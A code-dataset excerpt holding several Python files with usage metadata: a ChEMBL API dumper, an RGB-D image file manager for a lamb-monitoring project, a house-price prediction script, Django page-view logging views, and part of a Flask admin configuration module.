93, "usage_type": "name"}, {"api_name": "arrow.get", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 108, "usage_type": "call"}, {"api_name": "arrow.get", "line_number": 119, "usage_type": "call"}, {"api_name": "arrow.get", "line_number": 133, "usage_type": "call"}, {"api_name": "arrow.utcnow", "line_number": 134, "usage_type": "call"}, {"api_name": "arrow.get", "line_number": 158, "usage_type": "call"}, {"api_name": "arrow.get", "line_number": 159, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 189, "usage_type": "call"}, {"api_name": "CONFIG.DEBUG", "line_number": 216, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 217, "usage_type": "attribute"}, {"api_name": "CONFIG.DEBUG", "line_number": 220, "usage_type": "attribute"}, {"api_name": "CONFIG.PORT", "line_number": 222, "usage_type": "attribute"}, {"api_name": "CONFIG.PORT", "line_number": 225, "usage_type": "attribute"}]} {"seq_id": "608659503", "text": "import os\nimport os.path\nimport sys\nimport time\nimport glob\nimport json\n\nimport biothings, config\nbiothings.config_for_app(config)\n\nfrom config import DATA_ARCHIVE_ROOT\nfrom biothings.hub.dataload.dumper import HTTPDumper\nfrom biothings.utils.common import iter_n\n\n\nclass ChemblDumper(HTTPDumper):\n\n SRC_NAME = \"chembl\"\n SRC_ROOT_FOLDER = os.path.join(DATA_ARCHIVE_ROOT, SRC_NAME)\n SRC_DATA_URL = \"https://www.ebi.ac.uk/chembl/api/data/molecule.json\"\n SRC_VERSION_URL = \"https://www.ebi.ac.uk/chembl/api/data/status.json\"\n\n SCHEDULE = \"0 12 * * *\"\n CHUNK_MERGE_SIZE = 100 # number of part files merged together after download\n\n def remote_is_better(self,remotefile,localfile):\n remote_data = json.loads(self.client.get(self.__class__.SRC_VERSION_URL).text)\n assert \"chembl_db_version\" in remote_data\n assert remote_data[\"status\"] == \"UP\" # API is working correctly\n self.release = remote_data[\"chembl_db_version\"]\n # get the total count from the first page\n data = json.loads(self.client.get(self.__class__.SRC_DATA_URL).text)\n self.total_count = data[\"page_meta\"][\"total_count\"]\n if localfile is None:\n # ok we have the release, we can't compare further so we need to download\n return True\n local_data = json.load(open(localfile))\n # comparing strings should work since it's formatted as \"ChEMBL_xxx\"\n if remote_data[\"chembl_db_version\"] > local_data[\"chembl_db_version\"]:\n return True\n else:\n return False\n\n def create_todump_list(self, force=False):\n version_filename = os.path.basename(self.__class__.SRC_VERSION_URL)\n try:\n current_localfile = os.path.join(self.current_data_folder,version_filename)\n if not os.path.exists(current_localfile):\n current_localfile = None\n except TypeError:\n # current data folder doesn't even exist\n current_localfile = None\n remote_better = self.remote_is_better(self.__class__.SRC_VERSION_URL,current_localfile)\n if force or current_localfile is None or remote_better:\n new_localfile = os.path.join(self.new_data_folder,version_filename)\n self.to_dump.append({\"remote\":self.__class__.SRC_VERSION_URL, \"local\":new_localfile})\n # now we need to scroll the API endpoint. Let's get the total number of records\n # and generate URLs for each call to parallelize the downloads\n for num,i in enumerate(range(0,self.total_count,1000)):\n remote = self.__class__.SRC_DATA_URL + \"?limit=1000&offset=\" + str(i)\n local = os.path.join(self.new_data_folder,\"molecule.part%d\" % num)\n self.to_dump.append({\"remote\":remote, \"local\":local})\n\n def post_dump(self, *args, **kwargs):\n self.logger.info(\"Merging JSON documents in '%s'\" % self.new_data_folder)\n # we'll merge 100 files together, that's 100'000 documents. That way we don't have one huge\n # big files and we don't have thousands of them too. We'll also remove metadata (useless now)\n parts = glob.iglob(os.path.join(self.new_data_folder,\"molecule.part*\"))\n for chunk,cnt in iter_n(parts,self.__class__.CHUNK_MERGE_SIZE,with_cnt=True):\n outfile = os.path.join(self.new_data_folder,\"molecule.%s.json\" % cnt)\n merged_data = {\"molecules\" : []}\n for f in chunk:\n data = json.load(open(f))\n merged_data[\"molecules\"].extend(data[\"molecules\"])\n json.dump(merged_data,open(outfile,\"w\"))\n self.logger.info(\"Merged %s files\" % cnt)\n # now we can delete the parts\n self.logger.info(\"Deleting part files\")\n parts = glob.iglob(os.path.join(self.new_data_folder,\"molecule.part*\"))\n for f in parts:\n os.remove(f)\n self.logger.info(\"Post-dump merge done\")\n\n", "sub_path": "src/hub/dataload/sources/chembl/chembl_dump.py", "file_name": "chembl_dump.py", "file_ext": "py", "file_size_in_byte": 3934, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "biothings.config_for_app", "line_number": 9, "usage_type": "call"}, {"api_name": "biothings.hub.dataload.dumper.HTTPDumper", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "config.DATA_ARCHIVE_ROOT", "line_number": 19, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 27, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 32, "usage_type": "call"}, {"api_name": "json.load", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "glob.iglob", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "biothings.utils.common.iter_n", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 73, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 75, "usage_type": "call"}, {"api_name": "glob.iglob", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 81, "usage_type": "call"}]} {"seq_id": "538824583", "text": "from datetime import datetime, date\nimport os\nimport csv\nimport time\nimport cv2\nimport numpy as np\n\n\nclass FileManager(Exception):\n pass\n\n\n# system navigation\ndef get_items_in_dir(my_path=\"\"):\n my_path = os.getcwd() if my_path == \"\" or my_path is None else my_path\n files = []\n for roots, dirs, items in os.walk(my_path):\n [files.append(os.path.join(roots, item)) for item in items]\n return files\n\n\ndef save_frames(color_frame, depth_frame, id_crotal=None, cam=\"cam01\"):\n ts = time.time()\n if id_crotal is not None:\n # own path in savings, lamb crotal\n # mypath = os.path.join(os.getcwd(), \"savings\", id_crotal)\n # mypath = os.path.join(os.getcwd(), \"savings\")\n # if not os.path.exists(mypath):\n # os.makedirs(mypath)\n mypath = os.path.dirname(os.getcwd())\n\n # path_color = (\"savings\", \"color\", date.today())\n # path_color = (\"savings\", \"depth\", date.today())\n\n def mkdirs(current_path, paths):\n path = current_path\n for folder in paths:\n path = os.path.join(path, str(folder))\n if not os.path.exists(path):\n os.mkdir(path)\n return path\n\n if id_crotal is None:\n path_color = mkdirs(mypath, (\"savings\", \"color\", date.today()))\n path_depth = mkdirs(mypath, (\"savings\", \"depth\", date.today()))\n else:\n path_color = mkdirs(mypath, (\"savings\", \"color\", id_crotal, date.today()))\n path_depth = mkdirs(mypath, (\"savings\", \"depth\", id_crotal, date.today()))\n\n filename = os.path.join(path_color, \"{}_{}_{}.png\".format(datetime.fromtimestamp(ts), cam, \"color\"))\n\n # path_1 = os.path.join(os.getcwd(), \"savings\", \"{}\".format(frame_type),\n # str(date.today()), \"{}.png\".format(datetime.fromtimestamp(ts)))\n #\n # path_2 = os.path.join(os.getcwd(), \"savings\", \"{}\".format(frame_type),\n # str(date.today()), \"{}.png\".format(datetime.fromtimestamp(ts)))\n #\n # path_color = os.path.join(mypath, \"color\")\n # path_depth = os.path.join(mypath, \"depth\")\n # if not os.path.exists(path_color):\n # os.makedirs(path_color)\n # if not os.path.exists(path_depth):\n # os.makedirs(path_depth)\n #\n # dirname = str(date.today())\n # # path with date\n # path_color = os.path.join(path_color, dirname)\n # path_depth = os.path.join(path_depth, dirname)\n # if not os.path.exists(path_color):\n # os.makedirs(path_color)\n # if not os.path.exists(path_depth):\n # os.makedirs(path_depth)\n #\n # # number of collections of the lamb\n # # dirname = str(max(map(lambda x: int(x) if x.isdigit() else 0,\n # # [f for f in os.listdir(mypath) if os.path.isdir(os.path.join(mypath, f))]),\n # # default=0) + 1)\n # # mypath = os.path.join(mypath, dirname)\n # # if not os.path.exists(mypath):\n # # os.makedirs(mypath)\n #\n # # Save files\n # path_color = os.path.join(path_color, \"{}_\".format(datetime.fromtimestamp(ts)))\n # path_depth = os.path.join(path_depth, \"{}_\".format(datetime.fromtimestamp(ts)))\n\n correct, filename = is_new_file_correct(filename)\n if correct:\n cv2.imwrite(filename=filename, img=color_frame)\n else:\n raise FileManager(\"filename incorrect!!\")\n filename = filename.replace(\"color\", \"depth\")\n correct, filename = is_new_file_correct(filename)\n if correct:\n cv2.imwrite(filename=filename, img=depth_frame)\n else:\n raise FileManager(\"filename incorrect!!\")\n return\n\n\n# TODO\ndef read_frames(filename):\n if os.path.exists(filename) and os.path.isfile(filename):\n\n color_frame = cv2.imread(filename=filename, mode=\"RGB\")\n depth_frame = cv2.imread(filename=filename, mode=\"RGB\")\n\n return color_frame, depth_frame\n else:\n print(\"File Manager ERROR\")\n print(\"Error trying to read the saved frames\")\n return None\n\n\ndef record_frames(color_frame, depth_frame, frames_saved, id_crotal_aux):\n ts = time.time()\n mypath = os.path.join(os.getcwd(), \"savings\", \"RGBDIJ\", id_crotal_aux,\n \"RGBDIJ_lamb_{}.mine\".format(datetime.fromtimestamp(ts)))\n\n # Save RGBDIJ file\n RGBDIJ.save_file(color_frame, depth_frame, mypath)\n\n # Save PNG (RGB) file\n mypath = mypath.replace(\"RGBDIJ\", \"PNG\").replace(\".mine\", \".png\")\n correct, mypath = is_new_file_correct(mypath)\n if correct:\n cv2.imwrite(str(mypath.format(datetime.fromtimestamp(ts))), color_frame)\n return frames_saved, id_crotal_aux\n\n\n# def save_frames(frames_saved, id_crotal, points, mapped_frame):\n# ts = time.time()\n# if id_crotal is not None:\n# mypath = os.path.join(os.getcwd(), \"savings\", id_crotal)\n# if 2 >= frames_saved > 0 == frames_saved % 2:\n# # date_day = datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H:%M')\n# # # date_time = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')\n# if not os.path.exists(mypath):\n# os.makedirs(mypath)\n# dirname = str(max(map(lambda x: int(x) if x.isdigit() else 0,\n# [f for f in os.listdir(mypath) if os.path.isdir(os.path.join(mypath, f))]),\n# default=0) + 1)\n# mypath = os.path.join(mypath, dirname)\n# if not os.path.exists(mypath):\n# os.makedirs(mypath)\n#\n# points.export_to_ply(os.path.join(mypath,\n# \"{}_pcd_lamb.ply\".format(datetime.fromtimestamp(ts))), mapped_frame)\n# frames_saved += 1\n#\n# elif 60 >= frames_saved > 2 and frames_saved % 2 == 0:\n# dirname = str(max(map(lambda x: int(x) if x.isdigit() else 0,\n# [f for f in os.listdir(mypath) if os.path.isdir(os.path.join(mypath, f))])))\n# mypath = os.path.join(mypath, dirname)\n# points.export_to_ply(os.path.join(mypath,\n# \"{}_pcd_lamb.ply\".format(datetime.fromtimestamp(ts))), mapped_frame)\n# frames_saved += 1\n# elif 0 < frames_saved <= 60:\n# frames_saved += 1\n# else:\n# frames_saved = 0\n# id_crotal = None\n# elif frames_saved > 60:\n# frames_saved = 0\n# return frames_saved, id_crotal\n#\n#\n# def take_dataset_frame(color_image, depth_image, frames_saved, id_crotal_aux):\n# ts = time.time()\n# mypath = os.path.join(os.getcwd(), \"savings\", \"RGBDIJ\", id_crotal_aux,\n# \"RGBDIJ_lamb_{}.mine\".format(datetime.fromtimestamp(ts)))\n#\n# # Save RGBDIJ file\n# RGBDIJ.save_file(color_image, depth_image, mypath)\n#\n# # Save PNG (RGB) file\n# mypath = mypath.replace(\"RGBDIJ\", \"PNG\").replace(\".mine\", \".png\")\n# correct, mypath = is_new_file_correct(mypath)\n# if correct:\n# cv2.imwrite(str(mypath.format(datetime.fromtimestamp(ts))), color_image)\n# return frames_saved, id_crotal_aux\n\n\ndef __is_dir_file_correct__(file):\n dirname = os.path.dirname(file)\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n if os.path.exists(dirname) and os.path.isdir(dirname):\n if os.path.exists(dirname):\n return True, dirname\n else:\n return True, os.getcwd()\n else:\n raise Exception(\"IS_DIR_FILE_CORRECT: error checking the file, file path not right\")\n return False, None\n\n\ndef is_file_correct(file):\n dircorrect, dirname = __is_dir_file_correct__(file)\n file = os.path.join(dirname, os.path.basename(file))\n if dircorrect and os.path.exists(file) and os.path.isfile(file):\n return True, file\n else:\n print(\"IS_FILE_CORRECT: error checking the file, file path not right\")\n return False, None\n\n\ndef is_new_file_correct(file):\n dircorrect, dirname = __is_dir_file_correct__(file)\n file = os.path.join(str(dirname), str(os.path.basename(file)))\n if dircorrect:\n if not os.path.exists(file):\n return True, file\n else:\n # TODO\n # changes filename to \"file (1), (2) ...\"\n # right now it just overrides the file\n return True, file\n else:\n print(\"IS_FILE_CORRECT: error checking the file, file path not right\")\n return False, None\n\n\ndef is_data_correct(data):\n if data is not None:\n return True\n elif data:\n return True\n else:\n print(\"IS_DATA_CORRECT: error writing the file, the data is empty\")\n return False\n\n\n# CSV\ndef write_csv(file, data):\n correct, file = is_new_file_correct(file)\n if correct:\n if is_data_correct(data):\n with open(file, mode='w+') as f:\n writer = csv.DictWriter(f, fieldnames=list(data[0].keys()))\n writer.writeheader()\n writer.writerows(data)\n else:\n print(\"error writing the csv file, data is empty\")\n else:\n print(\"error writing the csv file, file path not right\")\n\n\ndef load_csv(file):\n correct, file = is_file_correct(file)\n if correct and os.path.exists(file):\n with open(file) as f:\n reader = csv.reader(f, delimiter=',')\n line_count = 0\n for row in reader:\n if line_count == 0:\n print(\"Column names are {}\\n\".format(row))\n line_count += 1\n else:\n print(\"{0}}: Column names are {1}}\\n\".format(line_count, row))\n line_count += 1\n print(\"Processed {} lines.\\n\".format(line_count))\n\n\ndef create_csv():\n \"\"\"\n Creates a csv file with all the files in the current dir and its expected result for the neural network\n :return:\n \"\"\"\n files = get_items_in_dir()\n data_RGBDIJ = []\n data_PNG = []\n\n for item in files:\n if \".mine\" in item:\n data = data_RGBDIJ\n elif \".png\" in item:\n data = data_PNG\n else:\n continue\n\n item = item.replace(\"/home/alberto/Documents/workspace/Robolab/RoboLAMB/RoboLAMB/\", \"\")\n\n if \"con_oveja\" in item:\n file = {\"path\": item, \"result\": \"lamb\"}\n data.append(file)\n elif \"mal_oveja\" in item:\n file = {\"path\": item, \"result\": \"error\"}\n data.append(file)\n elif \"sin_oveja\" in item:\n file = {\"path\": item, \"result\": \"empty\"}\n data.append(file)\n\n write_csv(os.path.join(os.getcwd(), \"out_RGBDIJ.csv\"), data_RGBDIJ)\n write_csv(os.path.join(os.getcwd(), \"out_PNG.csv\"), data_PNG)\n\n\n# Working with Images\n# RGBD, Open3D_PointCloud, RGBDij\nclass RGBDIJ:\n #\n # def __init__(self, collection):\n # # self.collection = np.zeros((480, 640, 6), dtype=np.float64)\n # self._collection = collection\n\n @classmethod\n def load_file(cls, file_path):\n color_image = np.zeros((480, 640, 3), dtype=np.uint8)\n depth_image = np.zeros((480, 640, 1), dtype=np.uint16)\n correct, file_path = is_file_correct(file_path)\n if correct:\n with open(file_path, \"r\") as f:\n for line in f:\n if len(line) < 2:\n print(line)\n continue\n line = line.split(\" \")\n i = int(line[4])\n j = int(line[5])\n color_image[i][j][0] = np.uint8(line[0])\n color_image[i][j][1] = np.uint8(line[1])\n color_image[i][j][2] = np.uint8(line[2])\n depth_image[i][j] = np.uint16(line[3])\n return color_image, depth_image\n else:\n raise Exception(\"cannot load file \" + str(file_path))\n\n @classmethod\n def save_file(cls, color_image, depth_image, file):\n correct, file_path = is_new_file_correct(file)\n if correct:\n with open(file, \"w+\") as f:\n for (i, j, pos), value in np.ndenumerate(color_image):\n f.write(str(value) + \" \")\n if pos == 2:\n f.write(str(depth_image[i][j]) + \" \" + str(i) + \" \" + str(j) + \" \\n\")\n\n\nif __name__ == '__main__':\n create_csv()\n", "sub_path": "src/Data/FileManager.py", "file_name": "FileManager.py", "file_ext": "py", "file_size_in_byte": 12512, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.getcwd", "line_number": 15, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 44, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 45, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 47, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 105, "usage_type": "call"}, {"api_name": "time.time", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 117, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 117, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 126, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 188, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path", "line_number": 189, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "csv.DictWriter", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 251, "usage_type": "call"}, {"api_name": "os.path", "line_number": 251, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 253, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path", "line_number": 294, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 295, "usage_type": "call"}, {"api_name": "os.path", "line_number": 295, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 308, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 309, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 323, "usage_type": "call"}, {"api_name": "numpy.ndenumerate", "line_number": 333, "usage_type": "call"}]} {"seq_id": "447895266", "text": "import sys, json\nprint(sys.path)\nimport numpy as np\nfrom sklearn.externals import joblib\n\ndata = json.loads(sys.argv[1])\ndata = np.array(data['data'])\nsav = joblib.load('/var/www/html/house_price.sav')\npred = sav.predict(data.reshape(1,-1))\nresult = format(int(round(pred[0],0)),',')\nprint(result)\n", "sub_path": "mL imp/ML Project 1/ML Project 1/house_price_predict.py", "file_name": "house_price_predict.py", "file_ext": "py", "file_size_in_byte": 298, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 7, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 8, "usage_type": "name"}]} {"seq_id": "69223025", "text": "from django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework import generics\nfrom rest_framework.views import APIView\nimport datetime\n\nfrom rest_framework import status\n\nfrom loggingapp.models import PageView\nfrom loggingapp.serializers import PageViewSerializer\nfrom common.views import GenericCRUDView\nfrom party.models import Party\nfrom partner.models import Partner\n\nfrom django.db.models import Count, Min, Max\n\n# Create your views here.\n\n# top level uri: /session-logs/\n\n# /page-views/\nclass PageViewCRUD(GenericCRUDView):\n queryset = PageView.objects.all()\n serializer_class = PageViewSerializer\n\n def get(self, request, format=None):\n params = request.GET\n obj = self.get_queryset()\n if 'startDate' in params:\n obj = obj.filter(pageViewDate__gte=params['startDate'])\n if 'endDate' in params:\n obj = obj.filter(pageViewDate__lte=params['endDate'])\n serializer = self.serializer_class(obj, many=True)\n return Response(serializer.data)\n\n def post(self,request, format=None):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, format=None):\n return Response({'message':'delete is not enabled for Page View'}, status=status.HTTP_400_BAD_REQUEST)\n\n def update(self, request):\n return Response({'message':'update is not enabled for Page View'}, status=status.HTTP_400_BAD_REQUEST)\n\n# /sessions/counts/\nclass SessionCountView(generics.GenericAPIView):\n\n def get(self, request, format=None):\n startDate = request.GET.get('startDate')\n endDate = request.GET.get('endDate')\n ip = request.GET.get('ip')\n partyId = request.GET.get('partyId')\n\n filters = {}\n if startDate:\n filters['pageViewDate__gte']=startDate\n if endDate:\n filters['pageViewDate__lte']=endDate\n if ip:\n filters['ip']=ip\n if partyId:\n filters['partyId']=partyId\n\n distinctSessions = PageView.objects.values('sessionId').distinct().filter(**filters)\n return Response({'count':len(distinctSessions)})\n", "sub_path": "loggingapp/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2231, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "common.views.GenericCRUDView", "line_number": 22, "usage_type": "name"}, {"api_name": "loggingapp.models.PageView.objects.all", "line_number": 23, "usage_type": "call"}, {"api_name": "loggingapp.models.PageView.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "loggingapp.models.PageView", "line_number": 23, "usage_type": "name"}, {"api_name": "loggingapp.serializers.PageViewSerializer", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 34, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 40, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 41, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 41, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 41, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 44, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 47, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 47, "usage_type": "name"}, {"api_name": "rest_framework.generics.GenericAPIView", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 50, "usage_type": "name"}, {"api_name": "loggingapp.models.PageView.objects.values", "line_number": 68, "usage_type": "call"}, {"api_name": "loggingapp.models.PageView.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "loggingapp.models.PageView", "line_number": 68, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 69, "usage_type": "call"}]} {"seq_id": "581682467", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nsystemconfig.py\n~~~~~~~~~~~~~~\n\nthis module handles the request from `system configuration tab` of `admin client`\n\n\"\"\"\n__author__ = 'Chongmyung Park (chongmyung.park@gmail.com)'\n\nimport datetime\n\nfrom flask import request\n\nfrom pyticas.tool import json\nfrom pyticas_server import protocol as prot\nfrom pyticas_tetres import api_urls_admin, cfg\nfrom pyticas_tetres.admin_auth import requires_auth\nfrom pyticas_tetres.da.actionlog import ActionLogDataAccess\nfrom pyticas_tetres.da.config import ConfigDataAccess\nfrom pyticas_tetres.db.tetres.model import Config\nfrom pyticas_tetres.logger import getLogger\nfrom pyticas_tetres.sched import scheduler, worker\nfrom pyticas_tetres.ttypes import SystemConfigInfo\nfrom pyticas_tetres.util import actionlog, systemconfig\nfrom pyticas_tetres.systasks import actionlog_processor as actionlog_proc\n\n\ndef register_api(app):\n @app.route(api_urls_admin.SYSCFG_GET, methods=['GET', 'POST'])\n @requires_auth\n def tetres_syscfg_get():\n syscfg = systemconfig.get_system_config_info()\n return prot.response_success(obj=syscfg)\n\n @app.route(api_urls_admin.SYSCFG_UPDATE, methods=['POST'])\n @requires_auth\n def tetres_syscfg_update():\n cfginfo_json = request.form.get('cfg', None)\n if not cfginfo_json:\n return prot.response_invalid_request()\n\n cfginfo = json.loads(cfginfo_json, SystemConfigInfo)\n\n if not cfginfo or not isinstance(cfginfo, SystemConfigInfo):\n return prot.response_invalid_request()\n\n for k, v in cfginfo.__dict__.items():\n if k.startswith('_'):\n continue\n if v is None:\n return prot.response_invalid_request()\n\n prev_syscfg = systemconfig.set_system_config_info(cfginfo)\n if not prev_syscfg:\n return prot.response_fail('fail to update configuration')\n\n put_task_to_actionlog(prev_syscfg)\n\n return prot.response_success()\n\n\ndef put_task_to_actionlog(prev_syscfg):\n \"\"\"\n\n :type prev_syscfg: pyticas_tetres.ttypes.SystemConfigInfo\n \"\"\"\n da_config = ConfigDataAccess()\n syscfg = 